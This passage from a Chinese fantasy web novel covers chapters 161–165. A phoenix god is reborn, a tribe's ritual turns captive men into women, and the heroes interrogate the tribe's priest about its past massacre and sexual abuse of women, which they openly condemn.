说实话,她们看这玩意不爽很久了,方才和巨怪打那几个回合,就见这玩意在那甩啊甩的,真是碍眼又恶心。如今这烂肉终于被割掉落在地上,瞬间消散成一滩滋啦作响的黑水腐蚀了大片沙地,很快散发出恶臭的气味。 不过她们这会没工夫注意烂肉。只见石映心的手诀再一变换,刚斩下孽·根·的帝血剑“铮”了一声重整旗鼓,猛地从巨怪的下方往上冲去,剑光伴着紧跟其后的血光,在众目睽睽之下将巨怪自下而上地劈开了两半—— 轰! 两瓣肉身瘫倒在地上化作大片的血水,但血色并不弥散,反而快速相互凝聚,似有一双瞧不见的大手在捏造泥巴一般揉搓着它们,无数的血液蛄蛹着、澎湃着,像闹腾的小孩在尖叫撒欢,万分期待着。 与此同时,功成名就的帝血剑回到了主人手中,石映心感受它激动的余震,面色镇定地将其收入了剑鞘。 “映心!” “师姐师姐师姐!” 大师兄他们很快赶来,纷纷关切地打量着她:“映心,你没事吧?” 石映心露出一个很浅的微笑:“我没哇啦哇啦哇啦哇啦(吐血中)……” 三人:Ω0Ω!? 真是要被她吓死了,明易连忙施法止住她的吐血,一探经脉,皱着眉又松了口气道:“经脉被超负荷的灵气冲破受损,你太逞强了。” 好在只是这样,休息几天就没事。曾换月和顾梦真也松了口气。 石映心摇摇头:“我真的没哇啦哇啦哇(吐血中)……” 小师妹飞快地捂住她嘴巴:“你就别说话了师姐!快憋着气吧!” 石映心只好把嘴巴闭上,抬了抬下巴示意他们往身后看,几人于是回头看去。 大概是那些一直重生的、叫人烦不胜烦的怪鸟忽然尽数落地化成血水消散,三足乌族的族人们都觉得这是巨怪终于被杀死的证明,纷纷瘫坐在地喘着气、庆幸劫后余生。 可那奇怪的血水依旧在空中沸腾着,于是就有很多议论: “他·娘·的……这群丑鸟,吓死老子了……” “那团血到底是什么东西?不会等会又变一个怪物出来吧?” “我看有可能,不如趁现在赶紧逃!” “逃哪里去?你没看先前那些逃回家的连房子都被烧干净了吗?还是那个耍棍的仙人帮忙灭的火。依我看,还是继续待在这求那几位仙人的庇护最稳妥。” “啧,确实啊!他·娘·的,那老子也不走了。” …… 明易的余光扫到不远处的郑银仁和楚汴,他们边上依旧围着一群带伤的侍卫,二人的情况看着也很狼狈,但似乎只是衣冠不整的程度,这会在拉着乐鸿不知道说什么,小和尚一本正经地在摇头。 再看向那团正在凝固成形的血液,这会变成了一颗悬浮在空中的……巨蛋?里头有什么要破壳而出,时不时蠕动一下,让规则的圆蛋变得不规则。 顾梦真摸摸下巴说:“这到底是什么玩意?大师兄,要不你把它刺破试试。” 明易:“你去。” 顾梦真:“那算了。” “是帝俊。”石映心这时候说话不吐血了,只是声音听着还有些虚弱,“这是帝俊的蛋。” “帝俊不是方才那个鸟头巨怪吗?”小师妹奇怪地问。 石映心点点头道:“嗯,这也是帝俊。” 曾换月:……搞不懂这些上古的神。 几人议论间,红蛋没让她们等太久,很快就在“蛋壳”上出现了几道裂痕。人群纷纷安静下来,屏气凝神地瞪大了眼睛地去看: 就见裂痕越来越大,耳边仿佛传来鸡蛋破裂的声响(其实并没有),忽地一道红光乍现,人们一时被迷住了双眼,再努力睁眼一瞧,这下是清清楚楚地看清楚了—— 那犹如烈火般炽热艳丽的优雅躯体,绚烂流光的华丽羽毛,细长的脖颈上高高仰起鸟头,一双世间无法寻到的红宝石双目,还有奇特的三足,浑身像太阳般耀眼夺目的生物——不是凤凰三足乌还能是什么? 祂仰头长鸣一声,清亮的鸣叫穿透叠叠阴云,太阳在此时总算善心大发,恩赐人间几道浓厚的日光,悄无声息、如有实质地落在了混乱着黄沙、血液和脑浆的三足乌城大地上。 在片刻的死寂过后,三足乌族的城主大喊了一句:“是帝俊!是帝俊显灵杀死了妖怪!神佑我族啊——” 话音一落,在大司命和少司命的带领下,这些还活着的族人纷纷跪拜在地,对着这只奇异的神鸟跪拜起来。 后人该如此歌颂:他们狼狈的肉身衬托出诚心,祭祀广场上四处零落的同胞尸首显出超脱生死的、虔诚的神圣。这便是神的子民。 当然,落在站着的五个外族人眼中,只是一片荒唐。 “这些人脑残吧。”曾换月忍不住口吐恶言,“明明就是师姐你杀了巨怪……虽然好像不算真的死了;所以这只鸟真是传说中的凤凰?” “看来是的。”顾梦真打量着凤凰,表情很新奇,“映心说那个是帝俊的蛋嘛,那生出来的就是帝俊化身凤凰啊。” 曾换月问号脸:“这是什么意思哦?帝俊死了又没死?然后又从巨怪变成了凤凰?” “凤凰涅槃。”明易冒了个泡。 “天式纵横,阳离爰死?”乐鸿的脸上被凤凰的光芒照出一张奇异的神色,像是遥远的向往,“凤凰涅槃,死而复生……” 曾换月:啧。 石映心翻译:“巨怪帝俊死了,凤凰帝俊才能复生。” 还是师姐贴心,曾换月听明白了,不由得撇嘴道:“搞什么啊,结果我们费这半天劲,真是把帝俊招来了?这不是如了这些族人的愿?” “不。”石映心微微摇头,眼中映照出那只鸟浮夸的模样,“这已不是三足乌族祭祀的阴阳神帝俊;她是真正的帝俊,阳之精,神鸟凤凰的化身。” 说到这镜灵一顿,双眸一瞬闪过黑石不透光的死寂:“不过……如今她神力衰竭,似乎只能维持鸟身了,不足为惧。” 第162章 其实人家神鸟也没想再跟她打架的意思,不知道她说这个“不足为惧”是要干嘛。 在三足乌族的朝拜之中,帝俊只是不为所动地盈盈伫立在那,漫不经心地抬起一边的翅膀,用鸟喙理了理自己的羽毛,一个眼神也没给那些虔诚的子民;再加上它长得浮夸,姿态就显得很高傲,看起来是非常不好相处的一只鸟。 “我族谨以清醴盛宴、拳拳之心,昭告于帝俊尊神……” 不知何时,少司命又开始全文背诵祭神词,这一次的语气有些急迫和混乱:“维皇祖帝俊,日月所出,文明所肇……昔者玄鸟负日……今我黎庶,虔心告虔……愿神威普照,我族所求皆如愿!” 如愿? 忙活这一通,曾换月后知后觉地想起来:“对了,我还不知道他们到底想向帝俊许什么愿呢……师姐?” 她师姐不慌不忙地一抬下巴:“你看。” 曾换 月随之望去,就见悠哉悠哉整理好自己的帝俊,在三足乌族人们纷杂的祈祷声中、少司命的祭神词结束时张开了双翼,仿佛像是一种应许;它扑棱着飞到空中,绕着祭祀广场飞了一圈,忽然鸟喙一张,喷出十道似火的灵光,分别落在了十台花轿上。 不多时,花轿中纷纷传出痛苦的呻吟。郑银仁和楚汴对视一眼,转头向花轿望去,四眼发亮。 帝俊并未久留,似乎真的只是来实现一下愿望的;它又在空中兜了一圈,在云散天晴的阳光下发出耀眼的五光十色,让世人惊奇地艳羡过后,便扑棱着翅膀往太阳飞去。人类的双目无法直视太阳很久,很快便失去了它的踪迹。 神鸟一离开,五彩的日光只剩下灼热和刺眼,将世间照得一切亮堂无比;三足乌城的狼狈和败落重新占据了人们的视线,方才见神鸟的记忆就像白日做梦一场。 只有空中飘落而下的那一片绚丽的凤羽证明神曾来过,族人们纷纷着了魔般地去追逐、争夺,哪怕羽毛还远在高空未落下,可下方已是一片混乱,像地狱中的恶鬼争夺投胎的一线生机。 羽毛最终落在了不争不抢的石映心的手上;恶鬼们已经通过刚结束的混乱明白了她的厉害,自然不可能去争夺,悻悻离场。 曾换月凑过来打量师姐手中的羽毛:“给师姐留根羽毛是什么意思?” 顾梦真竖起眉头道:“漂亮是挺漂亮的,还会发光欸;不过拿去拍卖的话,说是凤凰的羽毛可能没人信哦。” “帝俊留下羽毛……可能是表示一种感谢的信物?”乐鸿推测。 明易也这么觉得:“嗯。” 石映心转了转羽毛,好看是好看,但:“好像没什么用处。” 曾换月嘿嘿笑道:“鸟就是这样的啦,就像猫报答人的恩情时会送死老鼠一样。” 那还是羽毛好。石映心想了想,把凤羽收了起来。 曾换月余光一撇:“对了,那些轿子里的人……” 她话音未落,忽然听郑银仁在花轿边上哈哈大笑起来:“成了!成了!哈哈哈哈!神佑我族啊哈哈哈……” 几人对视一眼,一同前去查看情况,扒拉开围在边上的侍卫,能看见郑银仁灰头土脸的喜庆笑容,以及楚汴安静满意的微笑。 瞅见他们过来,郑银仁一改先前对他们的不满态度,乐呵呵道:“虽说计划赶不上变化,今日意外频频,但本次祭祀大典也算是大功告成;今晚我族将要准备庆功宴,还请几位仙人赏脸。” 看他们二人的笑容,曾换月真是笑不出来,撇嘴道:“大功告成?难道帝俊真实现了你们的愿望?” 郑银仁的笑容就没放下来过:“那是自然!帝俊明白孤与族人们的诚心!今晚的庆功宴自然也是为了感恩神威再临。” “庆功宴……”石映心的视线从地上染血的黄沙中抬起来,“我还以为你们会先举行一场葬礼,毕竟死了不少人。” “唉!”郑银仁皱起眉头,试图用上半张做作的脸搭配下半张的笑脸做出惋惜的表情,“为成大事,必要的牺牲也是难免的……这些族人的后事,在庆功宴后孤只有安排。” 石映心:“原来是这样。” 她们说话间,明易默不作声地走到了一台轿子面前,看见里头被五花大绑的男人正满头大汗地靠在轿壁上微弱地呼吸着,地上流了一摊新鲜的血,顺着往上望去,源头是男人的裤·裆。 他顿了顿,继续往边上走去看其他的轿子,都是无一例外的景况。 奄奄一息的男人,流血的下半身,这究竟是…… 等他一脸复杂地走回师弟师妹的边上时,就听石映心转过头来问他:“情况如何?” “……都活着。” “不是这个,我是要问……”石映心眨了眨眼道,“他们都变成女人了吗” 明易一愣:“什么?” 周遭的说话声莫名安静下来,只听她用不大不小正好让边上人都听得见的声音说:“这场祭祀的目的就是为了让这些花轿中的男人变成女人,所以他们变成女人了吗?” 她师兄师妹:OO? 这话一出,大伙都愣了。乐鸿看向那一排大红花轿,通红的双眼里看到了四个字:倒反天罡。 就连三足乌族的族人们也满脸不可置信,你看看我我看看你的,又默契地看向那几顶花轿。 结果还是郑银仁先反应过来,笑着打破了诡异的平静:“哈哈哈哈!几位仙人仙法高超,果然什么都瞒不住你们!俗话说事以密成,先前不告知几位属实是有难言之隐;如今天神已实现了孤的愿望,这也不是不可告人之事了!哈哈哈哈……” 他张开双臂像是在拥抱美好的未来,对着他的族人们高声宣布道:“时隔七年,我们三足乌族终于有女人了!哈哈哈哈!” 在他爽朗的笑声中,不知谁先欢呼了起来,紧接着就是如浪潮般袭来的庆祝呐喊:“城主英明、城主英明”…… 曾换月觉得这情景比她在电影中看到的邪教传销还恐怖,她觉得这些人已经荒唐到不需要制裁了,要不直接灭族吧。 在族人们的欢呼雀跃中,五人沉默着回到了住所,沉默着坐在了桌前,沉默着盯着面前的茶水发呆。 直到石映心不沉默了:“大师兄,因果牌。” 明易也才反应过来似的,将因果牌取了出来;大伙没什么期待地去看,结果瞧见牌面空了,都有些发愣。 “任务完成了!”顾梦真感到一些虚幻,“任务完成了?” 曾换月张了张嘴:“完成了……可是三足乌族还……” “我们的任务目标不是三足乌族,”石映心将因果牌推回给大师兄。 “是帝俊。”明易接过因果牌,语气冷静,“如今帝俊已经恢复了原身,所以任务完成了。” 曾换月的手指向外头:“那、现在那些神经病怎么办?” 一直沉默的乐鸿适时发言:“我已经传信回梵音门,很快师父便会带人过来,那些轿子中的男、女……咳,总之,他们就是三足乌族倒反天罡最好的证据。届时还要麻烦几位道友作证。” “好说好说。”曾换月飞快应下,又问道,“不过你们梵音门会怎么处理这些人啊?” 乐鸿默了默,摇摇头道:“不清楚,也许是会让他们改邪归正吧。” “改邪归正?哇……”曾换月无语到笑了一声,“不是,你觉得那些人的脑子能改吗?改得了吗?” 乐鸿麻麻道:“总之会规范他们的言行,不让他们再做这些荒唐事……” 曾换月一拍桌:“那些死去的女人怎么办?” 乐鸿也不知道啊,抱头苦恼道:“我已经想不明白了……” 咚咚咚。 忽然有人敲门,明易起身去开,是郑银仁派来的下人,邀请他们等会去参加庆功宴。明易正想应下,却听石映心在身后说:“大师兄,我们就不去了。” 顾梦真应和道:“是啊,不去了呗,反正他们的饭菜我们也吃不惯。” 明易于是拒绝了对方,把门关上。谁知道他刚落座没多久,又有人来敲门,曾换月立刻跳了起来,生气地嚷嚷道:“烦不烦啊,都说了不去了!” 敲门声一停,有人说话了:“是我,楚汴。” 楚汴?他来做什么? 五人面面相觑,明易将门打开,见这位少司命已不再是方才的狼狈,他换回了寻常的衣裳,端得一副善良医师的温和模样。 明易问:“楚大夫有何贵干?” 楚汴往屋里看了眼:“方便让在下进去说话吗?” “请。” 这人仿佛没看见屋里几人一点也不欢迎的表情,自顾自地找了个空位坐了下来,还给自己倒茶喝。一套顺畅的流程之后,他抬眼将她们一一扫过,最后落在了石映心身上,露出一个微笑来:“在下有些问题想请教几位仙人。” 曾换月翻白眼:“不便回答,你走吧!” 明易看了眼小师妹:“楚大夫有什么问题?” 楚汴先是道:“我想曾仙人和石仙人……本就是女子,对吗?不然为何在祭祀结束后也没恢复男身?” 他这么一提大伙才反应过来,不过事已至此,这也不重要了。石映心挑眉道:“是又如何?” “不如何。”楚汴微微摇头,“只是在下惊叹二位的仙法高超罢了。” 顾梦真“啧”了一声:“这些客套话就不用说了吧,你到底想问什么?” 楚汴看向石映心:“我想问石仙人是如何得知我们对帝俊的请愿的?” 第163章 “喂,你是在质问我师姐吗?”曾换月瞪他,“凭什么要回答你?你问就要和你说啊?” “在下不是这意思,只是好奇罢了。” “你好奇个……” “换月。”明易打住师妹的话,对楚汴道,“不是不能告诉你,不过在这之前,我们也有些疑问,如果楚大夫能如实作答……我们也许会斟酌告知。” 楚汴朝他微微颔首:“事已至此,也没什么不能说的。” 什么事已至此,就 是木已成舟、坏事做后可以随便说了呗。曾换月这么想着,翻了个大白眼,心里觉得他有些来炫耀的意思,估计觉得:你们是仙人又如何,我们想做的事不还是阻止不了巴拉巴拉…… 啊!好烦! 石映心注意到小师妹:“怎么了?” 小师妹撇嘴:“没什么。” 她在这儿不高兴,大师兄已经开始问话了,当然不是白问,一切都会被留影珠记录下,为梵音门提供足够的证据;不过问题太多,明易一时都不知道从哪里切入,沉吟片刻道: “楚大夫可还记得……楚欣?” 这问题一下让楚汴面露意外之色,他有些怔然道:“你们怎么……我自然记得,楚欣是我堂姑;不过我与她并不相熟,只是点头之交罢了。几位又是从何得知我堂姑的?” 石映心便将放在她这的楚欣手记拿了出来,楚汴直勾勾地看着:“可借我一看?” 石映心:“不可。” 她拒绝得太直白,楚汴回过神来,讪讪一笑道:“也是,既然是已经失去的物件,谁再得到便是谁的。” 叹了口气又道:“几位已经拿到了这本书,想来对我们三足乌族的过去有了一定了解,你们想问什么?” 曾换月抱着胸,下巴一抬道:“七年前你们三足乌族女人死去的真相究竟是什么?先前你说的什么染病身亡全是骗我们的吧!” 楚汴点了点头,面色不改道:“先前欺骗几位是身不由己,毕竟这确实是我族的难言之隐;只怕轻易说出后,会招来几位仙人的误解。” “误解?”顾梦真还以为自己听错了,“不是,这事还有哪里有误解?不就是你们不愿意废除上巳节的破规矩,然后女人们就反抗了,接着你们镇压不成,就把她们全杀了吗?” 楚汴点了下头:“大致情况是这样不错,但我们并未对她们赶尽杀绝。” 乐鸿皱眉看着他:“那为何她们全死了?” 楚汴沉默了两瞬:“当时……我们只杀死了反应激烈的或是带头反抗的女人,其实只是想杀鸡儆猴,并不想赶尽杀绝,所以当时还留下了很多女子;之后便将她们关押起来,本是觉得想让她们知错能改……可没想到,不过一夜之间,她们全死了。” 曾换月瞪大眼睛:“怎么死的?” 楚汴淡然的脸色显出一些迷惑:“是……楚欣把她们杀死的。” “什么?” “是楚欣把她们杀死的。”他又重复了一遍,双眸陷入了回忆,“那晚发生的事……我至今未想明白。她们分明被关在不同的屋子里,每间屋子外都上了锁,据当时侥幸逃脱的侍卫说,楚欣先是将她们屋里的女人全部杀死,然后破开了一道道锁,将幸存下来的所有女人都杀死了。” 曾换月荒唐地笑了一声:“你胡说什么!” “我没有胡说。” 明易问:“当时幸存了多少女人?” “四十四名。” 石映心:“关在高禖殿?” 楚汴抬起眼来和她对视:“石仙人料事如神。” 石映心的嘴角扯了个嘲讽的幅度:“猜测你们肮脏的心思不是很难。” 对乐鸿来说也许是有些难的:“你们三足乌族难道没有一个像样的牢狱吗?为何要将她们关在高禖殿?” “什么为什么?”曾换月抓了抓脑袋,烦躁道,“高禖殿是干什么的地方,没想明白啊?” 乐鸿这下如当头棒喝一般地明白了,他感到痛苦的不解:“你们……你们为什么要这么做?明知道她们是因为不满这样的羞辱才誓死抵抗,居然还变本加厉……这、这不是常人所为,完全是畜生行径!” 顾梦真嗤笑一声:“乐鸿你还把他们当人啊?我早就看他们全是畜生了,不过是大畜生小畜生老畜生年轻畜生之别。” 曾换月呵呵:“畜生也没有他们这么狡诈恶毒!” 石映心点头:“单是兽性是不可怕的,可怕的是夹杂着兽性的人性。” 明易:“嗯。” 面对几人的质问和谴责,楚汴依旧一脸淡漠,并没有表现出任何的羞愧和不堪,他甚至没有回应五人的愤怒,只是很轻描淡写地继续往下说:“不管你们信不信,确实是楚欣将所有女人都杀死了。” “这事奇怪之处有三:一是她本性温和善良,并不是会执刀杀人者。而且她破开的锁都是一击就碎,十分熟练干脆;二是所有被她杀死的女人……都没有任何反抗和惨叫,遗容安详;三是……她在最后杀死了自己。” “什么?” “楚欣最后自杀了。” 五人:OO? 他们默契地看向石映心,见她点了点头,便明白了楚汴并没有撒谎。 乐鸿喃喃道:“怎么会这样……” 楚汴:“这也是我和城主没想明白的。族人们刚开始很震惊,但并未察觉大难临头,都想着之后找外族女人便好;没想到处理完逝者的尸体过后,三足乌城便因未知原因被封……自此外面的人进不来,里头的人出不去,长此以往,直到几位的出现。” 他说到这个,明易就有个新问题:“为何你们要将她们的尸体封印在三足乌神像之下?” 楚汴道:“她们刚死去的那两晚,族人们都做了噩梦;我与大司命感应到死者滔天的怨气,顾请天神赐予神威将她们镇压。” 曾换月呵呵:“哦,怕被报复是吧?” “算是。” 顾梦真乜他:“怎么杀人干坏事的时候不怕被报复呢?” “彼时彼刻,只有死与活的选择,”楚汴挑了下眉,“落败者总会有怨气。” “还搁这自欺欺人胡说八道呢?”曾换月翻了个白眼,“若是你们赢得坦荡,败者怎会心生怨气?还什么死与活的选择,难道你们就不能把上巳节废弃了?怎么,改个糟粕恶习让你们男人栓紧固腰带不能·强·奸·人就是要了你们的命是吧?!” 楚汴眉头微皱,正要说什么,又听石映心冷泠泠道:“可能真会要了他们的命,要不然也不至于饥不择食地·强·奸·骆驼。” 场面一静。 看着楚汴总算变得铁青的脸色,几人纷纷露出开怀的笑容。一阵欢笑过后,气氛轻松不少,明易便顺势问:“楚大夫,实在很难理解,为何你们处置那些不法行为的方法会是……重启高禖殿?” 楚汴长长地叹出一口气道:“实不相瞒,当时我曾向城主提出要对犯了·强·奸·罪·的族人严加惩罚,但城主再三思虑过后发现这样只会适得其反。就像你们说的,那些人已经丧心病狂到对骆驼下手,若是再严加制止,不知他们之后还要闹出什么荒唐的事。” 说到这,楚汴停顿了一会道:“直到这时候,我 和城主才意识到族里少了女人的后果。” “噢噢!”曾换月听明白了,“你的意思是,你们三足乌族女人的作用就是分配给每个男人照顾他们,承担他们的坏脾气,让他们有气往女人身上撒,别去外边造反,这样就能维护族内安定了是吧?” 她鼓起掌来:“聪明聪明,好办法!” 楚汴自然知道她是在嘲讽,但并无辩解,还笑了笑道:“是,还有一个更重要的作用,传宗接代,延续三足乌族的血脉。” 曾换月原先带着讥笑的脸色猛地沉了下来,盯着他冷飕飕道:“你还真好意思说。” “楚大夫!”乐鸿都听不下去了,“你怎么能如此……如此没有悔改、羞耻之心地说出这种话!那些可怜的女施主之中,难道没有与你朝夕相处的亲朋好友吗?” 楚汴并没有马上回答,他一一看过面前几人,最后将视线落在瞧着很生气的曾换月身上,不答反问道:“为何曾仙人你们要女扮男装进入三足乌城?” 曾换月翻一个白眼:“要你管。” “在下猜想,也许是几位仙人神通广大、有先见之明,得知我族只剩下男子的情况后,为了方便行事才换了装扮。” 曾换月翻两个白眼:“猜错了,略略略。” 猜错了仿佛也没什么,楚汴没有继续猜,反而又问道:“几位觉得,男人和女人有什么区别吗?” 曾换月翻三个白眼:“区别可大了!你们男人就没一个好东西,严重点的就像你们族的男人,死性不改还自欺欺人;不严重的也不过是会装模作样一些!” 顾梦真在边上紧急辟谣:“你也别一棒子打死啊,我和大师兄、哦还有乐鸿,我们仨起码还是好人吧?” 曾换月瞥他一眼:“我就是话说得满一点,这只是一种夸张的手法,你们别代入不就行了。” 顾梦真:…… 他瞅了瞅大师兄和乐鸿,这二人还真的是一副置身事外的模样欸。 难道是平时被曾换月骂多了,所以下意识觉得她在骂自己? 好了先不管二师兄怎么想,楚汴听了曾换月的说法,颔首道:“我曾也像你这么以为,不过后来才发现,对男人来说,其实男人和女人……甚至和骆驼相比,也并无太大区别。” 顾梦真以为自己听错了:“啊?和骆驼也没区别吗??” 第164章 “我想你们都知道了,”楚汴道,“高禖殿中如今住的都是什么人。” 曾换月:“不就是那些男……” 石映心冷不丁冒泡:“鸭子。” 楚汴看向她,微微笑了一下:“对,鸭子。这便是继男人和女人之后,我族产生的第三种人。就算他们在肉身上和男人没有任何区别,但我族并不愿意承认他们的男子身份,所以族人们都称其为鸭子。” “这些鸭子的住所,七年前住满了女人;女人死去后便住进了他们。其实鸭子们的处境与七年前的女人并无不同,甚至为防止他们聚众抗议,他们受到的监管和待遇要比女人们还要跟严峻……相比较而言,以前的高禖殿更像是青楼,如今则完全是地牢。” 说到这,他淡然的视线看向乐鸿:“你问我为何不同情女人,那我该同情这些鸭子吗?” 乐鸿一噎:“这……” “他们是自作自受!”曾换月拍桌而起,“那些鸭子在七年前一定也是谋害女人的凶手!这下让他们尝尝女人受苦的滋味怎么了?完全是活该,哪里值得同情?!” 楚汴:“其中也有无辜……” “就是有个别的人无辜又怎么了!”曾换月咬牙切齿道,“你们男人犯的错,活该你们男人受,谁让他是男人?” 明易:“换月……” “我要说我要说!”小师妹越发大声起来,“什么叫无辜啊,他们哪里无辜了?真正无辜的人七年前已经死光光了!他们能活着就是多亏了他们是男人,难道这好处他们没享受?” 楚汴默了默,双眸中有些复杂的冷漠:“如果你认为生不如死也是一种享受,那我无话可说。” 曾换月砰地坐下来,瞧着依旧气呼呼的,但撒出气之后起伏的胸膛就平息了许多:“不说就不说。” 明易叹了口气:“楚大夫,你继续说。” 楚汴注视了曾换月一会,颔首道:“我能理解你们觉得那些鸭子是活该,是自作自受,可在下认为,假使我族从始至终没有存在过女人,这些鸭子也会应运而生;和如今相比,也许并无多少差别,只是不会被与女人比较。” “只要存在有·强·奸·欲望的人,就会存在·被·强·奸·的人。”他收回视线,看向茶盏中的茶水,“这七年让我明白了,原来男人们只需要能传宗接代的鸭子,至于鸭子是男是女并不重要,可当时我们只有不能生育的鸭子……” “所以,”明易接上他的思路,“再次请求帝俊赐予你们子福泉。” “不错。当时我以为拥有了能传宗接代的鸭子后,我族的关键难题便能得到妥善解决;就是不能离开沙漠,起码尚能维护族内的安定。”说到这他自嘲一笑,“可没想到,老天爷给我们开了一个这样的玩笑。” 乐鸿叹了口气:“玩笑……你是说小克小洋,还有那些送子殿中的孩子吗?” 楚汴不意外道:“果真什么也瞒不过手眼通天的仙人。对,小克小洋便是鸭子们喝了子福泉的泉水之后生下的孩子。想来你们也看过送子殿中的景况,他们二人已经是最正常的产物了。” “一开始生下那些怪种,我和城主以为只是概率问题,可几经尝试之后发现根本就是生不出正常的孩子;无论产夫有无带病,年龄老少,身壮还是体弱……都不行。最后我们只好认命,男人自身无法诞下正常的孩子。” “喂喂。”顾梦真打住他,“不是我说啊,那些生了孩子的男人不是都死了吗,你们明知道不会生下正常孩子,为什么还要一直让他们生?先不说残不残忍了,这一点都不划算啊!用正常人去换不正常的?” 楚汴嘴角勾起一个冷漠的笑:“想得彩,自然要先下注。” 乐鸿:“那可是人命!” 楚汴微微摇头:“不过是可替代的鸭子罢了。” 乐鸿抿住唇,不想和他说话了。 “城主的妻女皆在七年前死去了。”楚汴话锋一转,“七年前他就很想要一个属于自己的儿子,可城主夫人只为他生下了三个女儿。这几年他一直在督促我对男人生子进行更多的试验和研究,我想这是他的执念。” 明易这时候道:“我以为这七年你们的重点会放在如何离开沙漠一事上。” “我曾也这么劝说城主,”楚汴说,“只是……不管是城主还是其他族人,分明知道当务之急是离开沙漠, 但总是会不自觉地更在意、投入更多精力在延绵子嗣上,一遇到这事便着迷了,忘情了,丧失理智了。” 他忽然笑了一声:“也许这便是男人血脉中不可割舍的使命。” 曾换月哈哈:“屎尿屁的屎吗?确实确实。” 石映心:“那很恶臭了。” 楚汴早已习惯了她们的阴阳怪气,虽说脸色会变难看一些,但这人心态还挺好,一般不会辩驳……哦也许是因为事实如此,无法辩驳。 “不过,”他忽然顿了顿道,“小克和小洋虽有些迟钝,但都是好孩子。” 石映心便问:“你愿意你们三足乌族以后都是这样的好孩子吗?” 楚汴:…… 沉默了一会,他忽然想到什么似的,看向石映心问:“石仙人,这些孩子的问题确实困扰我许久,你可知道其中的缘由?” 曾换月在边上嘟嘟囔囔:“还有什么缘由,不就是因为你们族男人的基因缺陷吗?” 楚汴就当没听到,继续期待地看着石映心,他似乎已经察觉到石仙人身上的神奇法术。 石仙人说:“我觉得我师妹说得很有道理。” 就在楚汴暗淡下去的眼光中,她又补充道:“不过,方才你说的也有可能。” “我说的?”楚汴试图回忆,“我说了……什么?” 石仙人朝他赞同一笑道:“你说,‘没想到老天爷给我们开了一个这样的玩笑’。我觉得这比我师妹的猜测更有可能,也许真是帝俊和你们开的玩笑。” 楚汴刚亮起的眼光又灭了,他这会觉得石仙人在和他开玩笑呢:“石仙人不愿告知,在下能理解。” 石映心耸了耸肩,感到她师妹靠在她肩膀上笑得发抖。 她没开玩笑啊。 好了,回归正题。听到这明易也大概了解了:“原来如此,你们通过此事发现了让男人生子的弊端,因此才会在这次的祭祀中许下……这异想天开的愿望,让男人变成女人?” 楚汴纠正道:“并非异想天开。在下已经充分查验过,轿子中的十个祭品,已经失去了男子的特征,拥有了女子的·乳·房·和·性·器,在肉身上,它们已于女子并无区别。” 说到这他还立刻拜了拜:“感恩天神赐福。” 顾梦真听麻了:“你们完全是变态,简单的‘作恶’二字已经概括不了你们的逆天行径了。” 乐鸿一脸苦涩地摇了摇头:“这是逆天而行、倒反天罡啊!这是不对的……” “天神便是我族的天,神的赐福如何算倒反天罡?”关于这点,楚汴有自己的逻辑,“就算是又如何?我命由我不由天,这也是我族的本事。” 曾换月:%¥#@* 这么说她真没招了。 明易听到这却很有疑问:“楚大夫,你们既然料到帝俊会答应如此……高难度的请求,为何不试着祈求她让你们离开沙漠?” 楚汴微微摇头:“不是没试过,其实这几年尝试过许多遍,但都是白费功夫;似乎天神也对此无能为力。” 几人闻言面面相觑,传密音: 明易客观分析:“看来我们先前的猜想没错,是帝俊故意将他们困在这里。” 曾换月幸灾乐祸道:“哼哼,我看帝俊就是逗他们玩呢!这楚汴还以为他们的天神对他们多好。” 乐鸿叹了口气:“他们以为天神满足他们荒唐的愿望就是为他们好,却不知‘教子勿溺爱’,帝俊是在放任自流,纵容他们走向灭亡啊……” 石映心:“不愧是神。” “……也许是我们不够诚心,嘴上念叨想离开沙漠,心里却更挂念生子一事。”楚汴还在给他尊敬的神明找借口,说着说着抬眼看向几人道,“不过天神确实待我族不薄,我想几位仙人的莅临便是神意。” 几位仙人:…… 那你要这么想他们也没办法。 曾换月小声吐槽:“有这种脑残粉,神也是很惨的。” 说到这事,楚汴就格外客气:“我三足乌族破除封印、离开沙漠一事,多麻烦几位仙人费心了。事成之后,不胜感激,当结草衔环以报。” 明易客气道:“事成之后再感激也不迟……说到这个,我还有一问。” 楚汴很有耐心道:“请说。” 明易:“你与城主难道是不相信我等能帮你们离开沙漠,所以才不放弃祭祀吗?其实只要延后一月,封印就很有可能在此期间被解开,三足乌族……届时便可以接触到外人了。” 楚汴闻言,脸上的笑意加深:“非也,我与城主对几位仙人的神通广大自然是无比佩服、深信不疑;只是祭祀一事,定要在封印被破之前举行才好。” 明易有些没明白:“为何?” “几位还记得……楚欣的来历吗?”他又听到这人,“她虽是三足乌族人,但自幼在梵音洲长大,这才回到族中没多久,就能掀起轩然大波,这无妄之灾真是叫我和城主头疼。” “其实她与外族人并无区别,不过是和我族有些血脉相连的关系罢了。有她这样的先例,城主又如何放心让那些外族女人……嫁进城中呢?”楚汴似笑非笑道,“思来想去,还是同族人更适合一起过日子。” 第165章 他的意思大伙哪里有不明白的。 曾换月撇嘴道:“说得好像是楚欣的错一样,你们就是觉得外族人不会逆来顺受地服从你们的恶臭规矩,怕控制不了她们,再次重蹈七年前的覆辙呗!” 楚汴无所谓道:“是又如何?” 乐鸿听他承认,急忙道:“楚汴,与你相谈甚久,我想你并不是不了解三足乌族的祸根所在,为何你还要辅佐郑银仁胡作非为、一错再错?长此以往,三足乌族只会每况愈下,难道这是你愿意看到的未来?” “未来?”楚汴闻言嗤笑一声,“我不需要看到多远的未来,我想郑银仁还不至于废物到让三足乌全族死在我这个柔弱的少司命之前。” 石映心看向他:“你根本不在乎三足乌族。” 楚汴故意疑惑道:“你们将他们贬的一文不值、恶臭无比,为何还觉得我会在乎他们?” 曾换月理所当然道:“因为你们是同类啊,同类惺惺相惜嘛。” “好人之间才叫惺惺相惜,蝇营狗苟之徒不过是各取所求罢了。”这人看得还挺透彻。 明易:“郑城主如何?” 楚汴:“郑银仁此人虽废物了些,但也不是真傻,难道这七年他没想明白造成三足乌族如今惨况的原因?难道他不知道惩处那些·强·奸·者的合理办法应是创立法规而不是重启高禖殿?几位从未治理过城池的仙人都明白,他怎会不明白呢?” 乐鸿听得发愣:“他都明白,那他为何……” “正是因为太明白了。”楚汴的笑容越发阴冷,“他不止明白这些,更明白单纯的法规并不能阻止那些丧心病狂者犯罪;女人们死后,我族人数骤减,心有恶念者又太多,但凡他们集合起来再次造反,郑银仁的城主之位便岌岌可危……” “届时,他怎么不会沦为一个新的受害者呢?”楚汴朝几人一笑,“毕竟在他手下吃过亏、恨他的人还不少。” 